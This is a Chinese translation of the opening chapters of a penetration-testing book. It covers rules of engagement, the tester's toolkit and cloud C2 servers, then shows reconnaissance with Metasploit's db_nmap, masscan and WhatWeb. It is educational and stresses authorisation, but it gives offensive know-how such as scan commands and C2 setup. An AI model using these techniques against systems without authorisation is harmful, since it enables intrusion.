成为黑客-全-
成为黑客(全)
原文:
annas-archive.org/md5/9fadb2f604e1f2d04b94fdb65f3aa33c译者:飞龙
序言
成为黑客 将教你如何以攻击者的心态进行网络渗透测试。虽然测试网页应用的性能是常见的,但不断变化的威胁格局使得安全测试对防守方而言更具挑战。
有许多网页应用工具声称能够提供对潜在威胁的完整调查和防御,但它们必须根据每个网页应用或服务的安全需求进行分析。我们必须了解攻击者如何接近网页应用以及突破其防御的影响。
在本书的第一部分,Adrian Pruteanu 带领你走过常见的漏洞,并展示如何利用它们达到目标。书的后半部分则转换视角,将新学到的技术付诸实践,讲解在目标可能是流行的内容管理系统或容器化应用及其网络的场景下的攻击方法。
成为黑客 是一本从攻击者角度讲解网页应用安全的清晰指南,双方都能从中受益。
本书的读者对象
读者应该具备基本的安全经验,例如通过运行网络或在应用开发过程中遇到安全问题。正规安全教育有帮助,但并非必要。本书适合至少有两年开发、网络管理或 DevOps 经验的人,或对安全有浓厚兴趣的人。
本书的内容
第一章, 攻击网页应用入门,介绍了我们在渗透测试过程中必须遵循的工具、环境和基本的 ROE(规则)。我们还会看看渗透测试者的工具箱,并探讨云作为网页渗透测试者的新兴工具。
第二章, 高效发现,带你走一段提升信息收集效率的旅程,专注于如何提高对目标的情报收集效率。
第三章, 低悬果实,阐明、强调并利用了一个事实:对于防守者而言,要始终正确地进行安全防护是非常困难的,许多简单的漏洞经常会被忽视。
第四章, 高级暴力破解,详细讨论了暴力破解,并探索了几种在进行暴力攻击时如何保持低调的技巧。
第五章, 文件包含攻击,帮助你探索文件包含漏洞。我们还将研究几种方法,利用应用程序底层的文件系统为我们所用。
第六章, 非带外利用,讨论了非带外发现、应用漏洞的利用,以及在云环境中设置命令与控制基础设施。
第七章, 自动化测试,帮助你自动化漏洞利用,包括使用 Burp 的 Collaborator 功能简化非带外发现过程。
第八章, 不良序列化,详细讨论了反序列化攻击。我们将深入探讨这种漏洞类型,并研究实际的攻击方法。
第九章, 实用客户端攻击,涵盖了与客户端攻击相关的信息。我们会讨论三种类型的 XSS:反射型、存储型和 DOM 型,另外还涉及 CSRF,并将这些攻击结合起来进行分析。同时,我们还会介绍 SOP 以及它如何影响加载第三方内容或攻击代码到页面上。
第十章, 实用服务器端攻击,带你通过 XML 攻击服务器,并利用 SSRF 来链接攻击,从而进一步渗透网络。
第十一章, 攻击 API,专注于 API 的测试与攻击。到目前为止你所学到的所有技能都将在本章中派上用场。
一台运行 Kali 或你选择的渗透测试发行版的虚拟机或主机将帮助你快速启动,尝试书中提到的一些场景。
第十三章, 容器安全破解,帮助你了解如何在部署之前安全地配置 Docker 容器,并以一个被攻破的容器化 CMS 为例,展示如何导致另一个容器漏洞,从而导致主机完全被攻破。
为了最大限度地从本书中获益
-
你应该具备操作系统的基础知识,包括 Windows 和 Linux。我们将在本书中大量使用 Linux 工具和 Shell 环境,因此对该环境的熟悉程度非常理想。
-
一些脚本知识肯定会有所帮助,但不是必需的。Python、JavaScript 和一些 PHP 代码将在本书中出现。
-
我们将探索云中的命令与控制服务器,并强烈建议你在主要服务提供商上创建一个免费账户,以便跟随本书中的示例进行操作。
-
第十二章, 攻击 CMS,探讨了如何攻击 CMS 并深入分析其漏洞。
-
我们常常从 GitHub 上的开源项目下载代码,虽然深入了解 Git 肯定会有所帮助,但它并不是必需的。
下载示例代码文件
你可以通过 www.packt.com 账户下载本书的示例代码文件。如果你在其他地方购买了本书,你可以访问 www.packt.com/support 注册,直接将文件通过电子邮件发送给你。
你可以按照以下步骤下载代码文件:
-
请在
www.packt.com登录或注册。 -
选择支持选项卡。
-
点击代码下载和勘误表。
-
在搜索框中输入书名,并按照屏幕上的说明操作。
文件下载后,请确保使用最新版本的以下工具解压或提取文件:
-
适用于 Windows 的 WinRAR / 7-Zip
-
适用于 Mac 的 Zipeg / iZip / UnRarX
-
适用于 Linux 的 7-Zip / PeaZip
本书的代码包也托管在 GitHub 上,网址为 github.com/PacktPublishing/Becoming-the-Hacker。如果代码有更新,它将被更新到现有的 GitHub 仓库中。
我们还提供了来自丰富书籍和视频目录的其他代码包,地址为 github.com/PacktPublishing/。快去看看吧!
下载彩色图片
我们还提供了一份包含书中截图/图表的彩色图像的 PDF 文件。你可以在此下载:www.packtpub.com/sites/default/files/downloads/9781788627962_ColorImages.pdf。
使用的约定
本书中使用了许多文本约定。
CodeInText:表示文本中的代码词汇、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账户名。例如:“将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。”
代码块将以以下格式设置:
[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
exten => s,102,Voicemail(b100)
exten => i,1,Voicemail(s0)
当我们希望引起你对代码块中特定部分的注意时,相关行或项会以粗体显示:
[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
**exten => s,102,Voicemail(b100)**
exten => i,1,Voicemail(s0)
所有命令行输入或输出都将以以下格式显示:
# cp /usr/src/asterisk-addons/configs/cdr_mysql.conf.sample
/etc/asterisk/cdr_mysql.conf
粗体:表示一个新术语、一个重要单词,或者是你在屏幕上看到的词语,例如菜单或对话框中的词语,也以这种方式出现在文本中。例如:“从管理面板中选择系统信息。”
注释
警告或重要提示将以这种方式显示。
提示
提示和技巧将以这种方式显示。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何方面有疑问,请在邮件主题中提及书名,并通过customercare@packtpub.com与我们联系。
勘误:尽管我们已经尽力确保内容的准确性,但错误难免。如果您在本书中发现了错误,我们将非常感激您向我们报告。请访问,www.packt.com/submit-errata,选择您的书籍,点击“勘误提交表格”链接,并填写相关信息。
盗版:如果您在互联网上发现任何我们作品的非法复制版本,请提供该地址或网站名称,我们将非常感激。请通过copyright@packt.com与我们联系,并附上相关材料的链接。
如果您有意成为作者:如果您在某个领域具有专业知识并且有兴趣撰写或参与撰写书籍,请访问 authors.packtpub.com。
评价
请留下您的评价。在您阅读并使用本书后,为什么不在您购买本书的网站上留下一个评价呢?潜在的读者可以看到并参考您客观的意见来做出购买决策,我们在 Packt 也可以了解您对我们产品的看法,而我们的作者也可以看到您对他们书籍的反馈。谢谢!
如需了解更多关于 Packt 的信息,请访问 packt.com。
第一章:Web 应用程序攻击概述
Web 应用程序无处不在。它们是社会结构的一部分,我们在生活的许多方面都依赖它们。如今,它们易于开发、快速部署,并且任何拥有互联网连接的人都能访问。
用于帮助开发和部署 Web 应用程序的技术也大爆发。每天都会发布增强功能和可用性的新框架。公司已经将权力交给了开发人员,使他们更加敏捷,并能快速生产 Web 应用程序。
以下图表展示了目前在应用程序开发领域风靡一时的更流行的开发环境和框架。Node.js 将浏览器客户端脚本语言 JavaScript 带到了服务器端,并配有大量模块库,帮助快速开发应用程序。曾经仅在浏览器中使用的脚本语言 JavaScript,现在在客户端通过 React 和 Angular 得到了极大的增强,并且通过 Electron 和 Chromium 等工具,甚至可以进行跨平台开发:

图 1.1:自从 Netscape 在网上占据主导地位以来,世界发生了变化,这张图仅展示了当今主导 Web 的一些技术
GitHub 已经成为开源库、应用程序以及开发人员可能希望与世界分享的任何东西的一站式商店。任何人都可以上传他们想要的内容,其他人可以通过推动代码更改或通过分叉现有的代码库并继续本地开发来进行协作。GitHub 当然不是唯一的,还有类似的仓库供 Node.js、Python 和 PHP 模块使用。
开发人员的关注点始终是尽快推出产品,无论是营销部门使用的内部 Web 应用程序中的简单功能实现,还是最新最强大的 Web 银行界面。支持这些应用程序的基础设施也在不断发展,开发人员在将安全性集成到工作流程中时常常遇到困难。然而,影响安全应用程序开发的原因并不总是无知。更常见的是,时间限制和截止日期是罪魁祸首。
本书的目标是展示攻击者如何看待 Web 应用程序,以及他们如何利用应用程序代码和基础设施中的弱点。我们将讨论在开发过程中常见的错误,这些错误通常会被用来获取有意义的访问权限。我们将探讨实际的攻击案例,并最大限度地利用常见的应用程序漏洞。
对您的知识水平有一些假设。为了从阅读本书中获得最大价值,您应具备基本的应用程序安全知识。读者不必成为渗透测试或应用程序安全领域的专家,但应了解跨站脚本(XSS)或SQL 注入(SQLi)攻击是什么。我们不会为 XSS 的标准“Hello World”示例单独设立一章,但我们会展示利用这种漏洞的影响。读者还应熟悉 Linux 命令行和常见的控制台工具,如curl、git和wget。一定程度的编程知识对理解有所帮助,但并非硬性要求。
本章将涵盖以下主题:
-
进行测试时的典型参与规则
-
测试工具包
-
攻击代理
-
云如何帮助应对参与
参与规则
在继续进行有趣的内容之前,重要的是始终记住在进行攻击时的参与规则(ROE)。ROE 通常在参与前的工作声明(SoW)中列出,所有测试人员必须遵守。这些规则列出了对测试人员的期望,并设定了在参与过程中可以执行的某些限制。
虽然典型渗透测试的目标是模拟实际攻击并找到基础设施或应用程序中的弱点,但存在许多限制,而且这些限制有其合理性。我们不能像真正的对手那样大肆破坏,造成比实际攻击者更多的损害。目标(客户),无论是第三方还是内部团队,都应该感到舒适,允许专业的黑客对其应用程序进行攻击。
沟通
良好的沟通是成功参与的关键。启动和结束会议对双方都极为宝贵。客户应清楚了解是谁在执行该项目,并知道如何在紧急情况下与其或其备用人员取得联系。
启动会议是检查测试所有方面的机会,包括审查项目范围、系统的重要性、提供的凭证以及联系信息。幸运的话,所有这些信息都应该已经包含在范围文档中。该文档的目的是明确概述在此次参与期间需要测试的基础设施或应用程序部分。范围可以是 IP 范围、应用程序、特定域名或 URL 的组合。通常,客户会提前很久就参与编写此文档,以便在测试开始之前确认。然而,事情可能会发生变化,启动会议是最后一次核对所有内容的好时机。
启动会议中需要澄清的有用问题如下:
-
自上次文档修订以来,范围是否有变化?目标列表是否有更动?是否需要避免应用程序或网络的某些部分?
-
是否有必须遵守的测试时间窗口?
-
目标应用程序是在生产环境中还是在开发环境中?它们是面向客户的还是仅限内部使用?
-
紧急联系方式是否仍然有效?
-
如果提供了凭证,它们是否仍然有效?现在是时候再次检查这些了。
-
是否存在可能妨碍测试的应用防火墙?
目标通常是测试应用程序,而不是第三方防御措施。渗透测试人员有截止日期,而恶意行为者则没有。
提示
在测试应用程序漏洞时,建议要求客户将任何第三方Web 应用防火墙(WAFs)中的 IP 地址列入白名单。WAF 会检查到达受保护应用程序的流量,并丢弃与已知攻击特征或模式匹配的请求。一些客户可能会选择保持 WAF 在强制模式下,因为他们的目标可能是模拟现实中的攻击。这时,你应该提醒客户,防火墙可能会引入评估实际应用程序的延迟,因为测试人员可能需要花费额外的时间尝试规避防御。此外,由于大多数工作都有时间限制,最终报告可能无法准确反映应用程序的安全状态。
提示
没有经理愿意听到他们的关键应用程序在测试期间可能会下线,但这种情况偶尔确实会发生。一些应用程序无法承受简单扫描增加的工作负荷,可能会发生故障转移。某些有效负载也可能破坏设计不当的应用程序或基础设施,导致生产力骤然停滞。
提示
如果在测试过程中,应用程序变得无响应,最好尽快联系主要联系人,尤其是当应用程序是关键生产系统时。如果客户无法通过电话联系到,至少要发送电子邮件提醒。
结束会议或事后总结同样非常重要。一项特别成功的工作,发现了大量关键问题,可能会让测试人员感觉很棒,但客户可能会感到尴尬,因为他们必须向上级解释结果。此时,与客户会面,逐一回顾每个发现,并清晰地解释安全漏洞是如何发生的以及可以采取什么措施来修复它。时刻记住受众,用通俗的语言传达关切,而不是指责或讽刺任何相关方。
隐私考虑
涉及任何类型社会工程学或人际互动的工作,如钓鱼演练,应该谨慎处理。钓鱼攻击试图诱使用户点击电子邮件链接,访问一个凭证盗窃者,或打开恶意附件,一些员工可能会对以这种方式被利用感到不安。
在发送钓鱼邮件之前,例如,测试人员应确认客户是否愿意让他们的员工在不知情的情况下参与此次测试。这应当以书面形式记录,通常会写入《工作说明书》(SoW)中。启动会议是与客户同步期望的一个好机会。
除非获得客户的明确书面许可,否则避免以下操作:
-
不要进行可能被认为是不道德的社会工程攻击,例如,利用获取的目标家庭信息诱使他们点击链接。
-
不要外泄医疗记录或敏感的用户数据。
-
不要截取用户机器的屏幕截图。
-
不要将凭据发送到用户的个人电子邮件、社交媒体或其他帐户。
注意
一些网络攻击,如 SQL 注入或XML 外部实体(XXE)攻击,可能导致数据泄漏,在这种情况下,应该尽快通知客户该漏洞,并安全销毁已下载的任何内容。
尽管大多数测试都在保密协议(NDA)下进行,但应尽量避免处理敏感数据。完成测试后,保存医疗记录或信用卡信息几乎没有理由,事实上,保留这些数据可能会使客户违反法规合规要求,甚至可能是非法的。这类数据通常不会在尝试利用其他应用程序时提供任何杠杆。当在最终报告中列入证据时,必须格外小心,确保证据已清理干净,并且只包含足够的上下文来证明发现。
“数据是一种有毒资产。我们需要开始像对待任何其他有毒源一样看待它,并以此方式处理它。否则,我们就冒着风险,威胁到我们的安全和隐私。”
- 布鲁斯·施奈尔
以上引用通常针对那些在私人用户数据处理上存在可疑做法的公司,但对测试人员同样适用。我们经常在测试中接触到敏感数据。
清理工作
成功的渗透测试或应用评估无疑会留下许多活动的痕迹。日志条目可能会显示入侵是如何发生的,Shell 历史文件也能提供攻击者如何横向移动的线索。然而,留下痕迹也有好处。防御方,也被称为蓝队,可以在测试期间或测试后分析这些活动,并评估其防御效果。日志条目提供了有关攻击者如何绕过系统防御、执行代码、外泄数据或其他突破网络的宝贵信息。
有许多工具可以在利用后清除日志,但除非客户明确允许这些操作,否则应避免这种做法。有些情况下,蓝队可能想测试其安全信息与事件监控(SIEM)基础设施的韧性(即集中日志收集与分析系统),因此清除日志可能在范围内,但必须在项目文档中明确允许。
尽管如此,仍有一些遗留物在项目完成后几乎应该完全从系统或应用数据库中移除。这些遗留物可能会使客户暴露于不必要的风险中,即使他们已经修补了漏洞:
-
提供操作系统(OS)访问的 Web Shell
-
恶意软件投放器、反向 Shell 和特权提升漏洞有效载荷
-
通过 Tomcat 部署的 Java 小程序形式的恶意软件
-
被修改或后门化的应用程序或系统组件:
- 示例:用竞争条件 root 漏洞覆盖密码二进制文件,并且在离开系统之前没有恢复备份
-
存储的 XSS 有效载荷:这可能对生产系统中的用户造成困扰
并非所有在测试中引入的恶意软件都能被测试人员移除。清理工作需要联系客户。
提示
记录所有在评估中使用的恶意文件、路径和有效载荷。在项目结束时,尽可能地移除它们。如果有任何遗留,告知主要联系人,并提供详细信息,强调移除这些遗留物的重要性。
提示
给有效载荷标记唯一的关键字有助于在清理过程中识别虚假数据,例如:“请删除任何包含关键字:2017Q3TestXyZ123 的数据库记录。”
一封确认客户已移除任何残留恶意软件或遗留物的后续邮件,是一种提醒,并且总是受欢迎的。
测试人员的工具包
渗透测试工具因专业人员而异。工具和技术每天都在发展,你必须跟上进度。虽然几乎不可能列出涵盖所有场景的完整工具清单,但有一些经过验证的程序、技术和环境无疑能帮助任何攻击者实现目标。
Kali Linux
以前被称为BackTrack,Kali Linux多年来一直是渗透测试人员的首选 Linux 发行版。很难否定它的价值,因为它几乎包含了进行应用程序和网络评估所需的所有工具。Kali Linux 团队还定期更新,不仅保持操作系统的更新,也更新攻击工具。
Kali Linux 部署非常方便,几乎可以在任何地方使用,并且有多种格式。包括 32 位和 64 位版本、便携虚拟机包,甚至有在 Android 操作系统上运行的版本:

图 1.2:Kali Linux 屏幕的全新实例
Kali Linux 的替代品
Kali Linux 的一个替代或补充方案是 渗透测试框架 (PTF),由 TrustedSec 团队开发,使用 Python 编写。它是一个模块化框架,允许您将自己选择的 Linux 环境转变为渗透测试工具集。PTF 已经有数百个模块可以使用,并且可以快速创建新的模块。PTF 还可以在 Kali 上运行,快速将现有工具集中在一个位置。

图 1.3:PTF 交互式控制台
另一个成熟的 Kali Linux 替代品是 BlackArch,它是基于 Arch Linux 的一个发行版,包含了许多与其他渗透测试发行版捆绑的工具。BlackArch 包含了许多测试人员熟悉的工具,用于网络测试或应用评估,并且像 Kali Linux 一样,定期更新。对于 Arch Linux 爱好者来说,这是一个备受欢迎的替代 Debian 系统的 Kali 发行版。

图 1.4:BlackArch 主界面
BlackArch 可以通过 blackarch.org 以多种格式下载。
攻击代理
在测试应用程序时,流量操控和记录是非常宝贵的。市场上的主要工具也是可扩展的,允许研究人员社区通过免费的附加组件来提升功能。构建良好并且得到支持的代理是攻击者武器库中的强大武器。
Burp Suite
Burp Suite 无疑是攻击代理领域的王者。它可以直接拦截、修改、重放和记录流量。Burp Suite 非常可扩展,拥有强大的社区插件,可以与 sqlmap(事实上的 SQLi 利用工具)集成,自动测试权限提升,提供其他有用的模块:
-
代理:即时记录、拦截并修改请求
-
蜘蛛:具有强大爬取能力的内容发现工具
-
解码器:快速解码加密数据
-
入侵者:一个高度可定制的暴力破解模块
-
重放器:允许重放任何先前记录的请求,并可以修改请求的任何部分
-
扫描器(仅限专业版):一个漏洞扫描器,集成了 Burp 合作者,用于发现隐蔽漏洞
-
合作者:帮助发现传统扫描器通常会忽略的隐蔽漏洞
Burp Suite 有一个免费版本,但该产品的专业版非常值得投资。虽然免费版完全可以用于快速测试,但它确实存在一些限制。特别是,入侵者模块有时间限制,使其无法用于大负载的攻击。扫描器模块也仅在专业版中提供,并且值得购买。扫描器能够快速找到易于攻击的目标,甚至自动利用 Collaborator 查找带外漏洞。免费版仍然可以拦截、检查和重放请求,并且可以警告其被动检测到的任何漏洞。

图 1.5:Burp Suite 免费版主界面
Zed 攻击代理
OWASP 的Zed 攻击代理(ZAP)是另一个非常优秀的攻击代理。它具有可扩展性且易于使用。然而,它缺少 Burp Suite 的一些功能;例如,ZAP 没有 Burp Suite Pro 那样全面的主动漏洞扫描功能,也没有像 Collaborator 那样的自动化带外漏洞发现系统。
然而,ZAP 版本的入侵者模块没有时间限制,所有功能都可以开箱即用。ZAP 是开源的,并且由数百名志愿者积极维护。

图 1.6:ZAP 主界面
云基础设施
在进行评估时,攻击者通常会在攻防过程中利用指挥与控制(C2)服务器。大多数 C2 服务器的目的是向受感染环境内的恶意软件发出指令。
攻击者可以指示恶意软件窃取数据、启动键盘记录器、执行任意命令或 Shellcode,等等。在后续章节中,我们将主要使用云 C2 服务器来提取数据并发现带外漏洞。
C2 服务器由于可以从任何地方访问,因此在任何攻防活动中都非常灵活。云平台是托管 C2 基础设施的理想场所。它可以快速且可编程地部署,并且可以从全球任何地方访问。一些云服务提供商甚至支持 HTTPS,允许快速搭建 C2 服务器,而无需担心购买和管理域名或证书。
渗透测试人员的热门选择是亚马逊网络服务(AWS),它是云服务领域的领导者。其服务价格相对便宜,并且提供入门免费层选项。
其他可行的云服务提供商包括:
-
微软 Azure:
portal.azure.com -
谷歌云平台:
cloud.google.com -
DigitalOcean:
www.digitalocean.com -
Linode:
www.linode.com
微软的 Azure 提供了一项 软件即服务(SaaS)免费层功能,让你可以从 GitHub 仓库自动部署 C2。它还原生支持 HTTPS,使得隐藏 C2 数据不易被窥探,并能与正常的用户流量混合。
注意
在使用云提供商的基础设施进行评估之前,始终获得书面许可!即使只是简单地在临时虚拟机上托管一个恶意 JavaScript 文件,也需要事先得到授权。
云 互联网服务提供商(ISPs)应该提供一个表格,让你填写即将进行的渗透测试的详细信息,包括测试窗口和联系方式。
无论我们是使用云平台来部署一个 C2 进行渗透测试,还是攻击云平台上托管的应用程序,我们都应该始终通知客户与渗透测试相关的活动。

图 1.7:典型的渗透测试通知表格
资源
查阅以下资源,了解更多渗透测试工具和技术:
-
Penetration Testers Framework(PTF):
github.com/trustedsec/ptf -
BlackArch:
blackarch.org -
Burp Suite:
portswigger.net/burp/ -
OWASP ZAP:
www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project -
Amazon Web Services:
aws.amazon.com -
Microsoft Azure:
portal.azure.com -
Google Cloud Platform:
cloud.google.com -
DigitalOcean:
www.digitalocean.com -
Linode:
www.linode.com
练习
完成以下练习,以更好地熟悉黑客工具集以及我们在本书中将使用的工具:
-
下载并安装你首选的渗透测试发行版:Kali 或 BlackArch,或者使用 PTF 进行尝试。
-
使用 Burp Suite 免费版或 ZAP 截获、检查并修改流量,访问你最喜欢的网站。
-
在你选择的云计算提供商上创建一个免费账户,并使用其免费层启动一个 Linux 虚拟机实例。
概要
在本章中,我们回顾了工具、环境以及我们在进行渗透测试时必须遵循的最基本的行为准则(ROE)。我们强调了沟通的重要性,以及在测试过程中考虑客户隐私的关键性。我们不是坏人,不能为所欲为。我们还讨论了清理过程,确保我们不留下任何遗留物,除非客户另有要求。我们的遗留 Shell 不应成为未来漏洞攻击的根源。
我们还介绍了渗透测试人员的工具包;一款集成的 Linux 发行版——Kali;以及它的一些替代品。对于 Web 应用黑客来说,最重要的工具之一无疑是攻击代理,我们重点介绍了其中的两款:Burp Suite 和 ZAP。最后,我们提到了云作为 Web 应用测试者的一个新兴有用工具。
攻击者的工作永远比防御者的工作更容易。任何一位有企业世界经验的专业黑客都会证明这一点。攻击者只需要链条中的一个弱点——即使这个弱点是暂时的——就能完全控制环境。
安全性第一次做对是很难的,而随着时间的推移,要保持它接近基准线更是困难。经常会出现资源不足、知识缺乏或优先级错误的问题,包括简单的为了让组织盈利。应用程序必须是可用的——它们必须可用并提供功能增强,才能有用。似乎总是没有足够的时间来正确地测试代码,更别提测试安全漏洞了。
员工流动也可能导致经验不足的开发人员提交未经充分测试的代码。安全团队通常会忙于处理日常事件,更别提有时间处理安全代码审查了。没有万能的解决方案可以进行安全性测试,预算中也很少有足够的资金。这个难题有许多方面,许多因素会阻碍应用程序及其基础设施的完全安全。
这就是理解这些限制的专业黑客能够大显身手的地方。通过对服务器的 Shell 访问,黑客可以寻找潜在的权限提升漏洞,尝试让它工作,经过一些反复试验后,获得完全访问权限。或者,可以利用服务器间通信是系统管理员常见需求这一事实。这意味着服务器之间的连接要么没有密码,要么密码存储在某个靠近的位置。发现未受保护的私钥存放在全局可读的目录中,允许访问基础设施中的所有其他服务器并不罕见。安全外壳协议(SSH)私钥,通常用于自动化 SSH 连接,通常没有密码保护,因为为私钥设置密码会破坏使用它的自动化脚本。
在接下来的章节中,我们将利用这些关于应用开发和部署的不幸事实,转化为我们的优势。
第二章 高效发现
内容发现和信息收集通常是攻击应用程序的第一步。目标是在最短的时间内尽可能多地了解应用程序。时间是我们没有的奢侈品,我们必须充分利用有限的资源。
效率也可以帮助我们在攻击应用程序时保持稍微安静一些。智能词汇表将减少我们向服务器发出的请求数量,并更快地返回结果。这不是万灵药,但它是一个很好的起点。
在本章中,我们将涵盖以下主题:
-
不同类型的渗透测试参与
-
使用各种网络和 Web 扫描仪进行目标映射
-
高效的暴力破解技术
-
多语言有效载荷
评估类型
根据与客户在参与之前的协议,你可能已经拥有所需的部分信息、大量信息,或者根本没有任何信息。白盒测试允许对应用程序进行彻底检查。在这种情况下,攻击者基本上拥有与开发者相同的访问权限。他们不仅有经过身份验证的访问权限,而且还可以访问源代码、任何设计文档以及他们需要的任何其他资源。
白盒测试通常由内部团队执行,且相当耗时。测试人员会获得他们评估应用程序或基础设施所需的所有信息。提供这种知识水平的好处是,测试人员可以查看应用程序的每一部分,检查是否存在漏洞。这是外部攻击者所没有的奢侈品,但它确实能在参与过程中有效利用有限的时间和资源。
灰盒场景更为常见,因为它们提供了足够的信息,使测试人员能够直接开始探测应用程序。客户可能会提供凭据以及一些关于基础设施或应用程序设计的信息,但不会提供更多。这里的思路是客户假设恶意行为者已经获得了某种程度的访问权限或知识,客户需要了解还能够造成多少更大的破坏。
最后,黑盒测试将模拟从外部人员的角度发起的攻击,攻击者对应用程序或基础设施一无所知。公开应用程序到互联网的公司通常会受到外部威胁的持续攻击。虽然重要的是要记住,并非所有恶意行为者都是外部人员,因不满的员工也可能造成同样的破坏,但恶意的黑盒类型攻击相对常见,且可能造成严重损害。
以下是三种常见的应用程序渗透测试类型的细分:
| 白盒 | 灰盒 | 黑盒 |
|---|---|---|
| 攻击者可以访问所有所需信息。 | 有部分信息可用。 | 完全不了解。 |
| 以最高权限进行测试,即具有开发者知识的测试。 | 从已具备一定访问权限或知识的威胁角度进行测试。 | 从外部威胁角度进行测试。 |
| 可用的典型信息包括以下内容:
-
用户账户
-
源代码
-
基础设施设计文档
-
目录列表
| 向攻击者提供一些信息:
-
用户账户
-
高级文档
攻击者通常无法访问源代码或其他敏感信息
| 未提前提供任何信息,攻击者必须通过开源情报(OSINT)或导致信息泄漏的漏洞收集所需的所有信息。 |
|---|
注意
在本书的其余部分,我们将从更接近灰盒测试的角度接近我们的目标,模拟典型的渗透测试过程。
目标映射
对整个端口范围进行传统的 nmap 扫描并进行服务发现,总是收集目标信息的一个好方法。Nmap 是选择的网络扫描工具,已经使用多年。它仍然非常强大且相关。它可用于大多数平台,包括 Kali、BlackArch,甚至是 Windows。
Metasploit Framework(MSF)是渗透测试框架,通常由安全专业人员使用。除了是一个易于交付的漏洞利用工具集外,它还可以帮助组织渗透测试过程。特别是在目标映射方面,你可以利用工作区功能,并将 Nmap 扫描结果整齐地存储在数据库中。
如果 Kali Linux 实例是新安装的,或者 Metasploit 最近安装过,数据库可能需要一些启动操作才能正常运行。
在 Kali 控制台提示符下,使用service命令启动PostgreSQL服务。如果成功,则不应返回任何消息:
**root@kali:~# service postgresql start**
**root@kali:~#**
然后,可以使用msfconsole命令启动 Metasploit,这将使我们进入一个子提示符,提示符前缀是msf,而不是传统的 bash 提示符:
root@kali:~# **msfconsole**
[...]
msf > **db_status**
[*] postgresql selected, no connection
msf >
上述命令序列将启动 PostgreSQL 数据库服务,Metasploit 使用它来进行存储。Metasploit 控制台会启动,我们可以使用 MSF 的db_status命令检查数据库状态。
我们可以使用exit命令返回到 bash 终端:
msf > **exit**
root@kali:~#
现在,我们可以使用 Metasploit 的msfdb命令来帮助我们初始化(init)数据库:
root@kali:~# **msfdb init**
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in **/usr/share/metasploit-framework/config/database.yml**
Creating initial database schema
root@kali:~#
msfdb命令会创建所有必要的配置文件,供 Metasploit 连接到数据库。我们再次可以通过在 Linux 提示符下使用msfconsole命令启动 Metasploit 控制台:
root@kali:~# **msfconsole**
[...]
msf >
使用msfdb init命令创建的 YML 数据库配置文件,可以与-y开关一起传递给db_connect Metasploit 控制台命令:
msf > **db_connect -y /usr/share/metasploit-framework/config/database.yml**
[*] Rebuilding the module cache in the background...
msf > db_status
[*] postgresql connected to msf
msf >
我们现在可以为目标应用程序创建一个工作区,这将帮助我们组织来自不同 MSF 模块、扫描或漏洞利用的结果:
msf > workspace -a **target1**
[*] Added workspace: target1
msf > workspace
default
*** target1**
workspace 命令不带任何参数时将列出可用的工作区,并用星号标记当前活动的工作区。此时,我们可以在 MSF 内部启动 Nmap 扫描。db_nmap MSF 命令是 Nmap 扫描工具的一个封装。不同之处在于,扫描结果会被解析并存储在 Metasploit 数据库中,便于浏览。
MSF 的 db_nmap 接受与正常的 nmap 相同的选项。在以下示例中,我们正在扫描常见端口并查询正在运行的服务。
此次扫描的目标是一个内部主机,10.0.5.198。我们指示 Nmap 执行服务扫描(-sV),并且不对主机进行 ping 测试(-Pn),同时使用详细输出(-v):
msf > **db_nmap -sV -Pn -v 10.0.5.198**
[...]
[*] Nmap: Scanning 10.0.5.198 [1000 ports]
[*] Nmap: Discovered open port 3389/tcp on 10.0.5.198
[*] Nmap: Discovered open port 5357/tcp on 10.0.5.198
[*] Nmap: Completed SYN Stealth Scan at 19:50, 12.05s elapsed (1000 total ports)
[*] Nmap: Initiating Service scan at 19:50
[...]
扫描完成后,结果可以通过 services 命令进行查询和筛选。例如,我们可以使用 -s 选项查找所有发现的 HTTP 服务:
**msf > services -s http**
**Services**
**========**
**host port proto name state info**
**---- ---- ----- ---- ----- ----**
**10.0.5.198 5357 tcp http open Microsoft HTTPAPI httpd 2.0 SSDP/UPnP**
注意
注意客户提供的范围。有些客户会特别限制应用程序测试在一个端口上,或者有时仅限于一个子域或 URL。此时应当劝告客户不要限制测试者可用的攻击面。
Masscan
Nmap 功能全面,拥有大量的选项和能力,但存在一个问题:速度。对于大型网络段,Nmap 可能非常慢,有时甚至完全失败。在渗透测试中,客户通常会要求在有限的时间内对庞大的 IP 空间进行映射和扫描。
masscan 的最大亮点在于,它可以在大约六分钟内扫描整个互联网的 IP 空间。这是一个令人印象深刻的成就,毫无疑问,它是目前最快的端口扫描器之一。
在进行渗透测试时,我们可能希望优先针对 Web 应用程序进行测试,masscan 可以通过几个简单的选项快速返回所有开放的 Web 端口。
熟悉的 -p 选项可以用来指定一系列端口或端口范围进行查找。--banners 选项将尝试获取任何发现的开放端口的一些信息。对于较大的 IP 空间,时间至关重要时,我们可以使用 --rate 选项指定一个较大的每秒数据包数,如一百万或更多:

图 2.1:对 10.0.0.0/8 网络进行的 masscan 扫描
我们可以看到,之前的扫描由于 Ctrl + C 中断而提前取消,masscan 保存了其进度到 paused.conf 文件中,这使我们能够稍后恢复扫描。要从中断处继续,我们可以使用 --resume 选项,并将 paused.conf 文件作为参数传递:

图 2.2:恢复 masscan 会话
Masscan 的结果可以传递给 Nmap 进行进一步处理,或者传递给 Web 扫描器以进行更深入的漏洞发现。
WhatWeb
一旦通过 masscan 或 Nmap 确定了目标环境中一个或多个 web 应用程序,我们就可以开始深入挖掘。WhatWeb 是一个简单但有效的工具,可以查看特定的 web 应用程序,并识别出开发和运行该应用所使用的技术。它拥有超过 1,000 个插件,能够被动识别从应用上运行的内容管理系统(CMS),到运行整个应用的 Apache 或 NGINX 版本等各种信息。
以下图示展示了对 bittherapy.net 进行的更为激进的(-a 3)WhatWeb 扫描。所示的 sed 命令将格式化输出,使其更易阅读:

图 2.3:运行 WhatWeb 并过滤结果
三级激进扫描将进行更多的请求,以帮助提高结果的准确性。
WhatWeb 可在 Kali Linux 和大多数其他渗透测试发行版上使用。也可以从 github.com/urbanadventurer/WhatWeb 下载。
Nikto
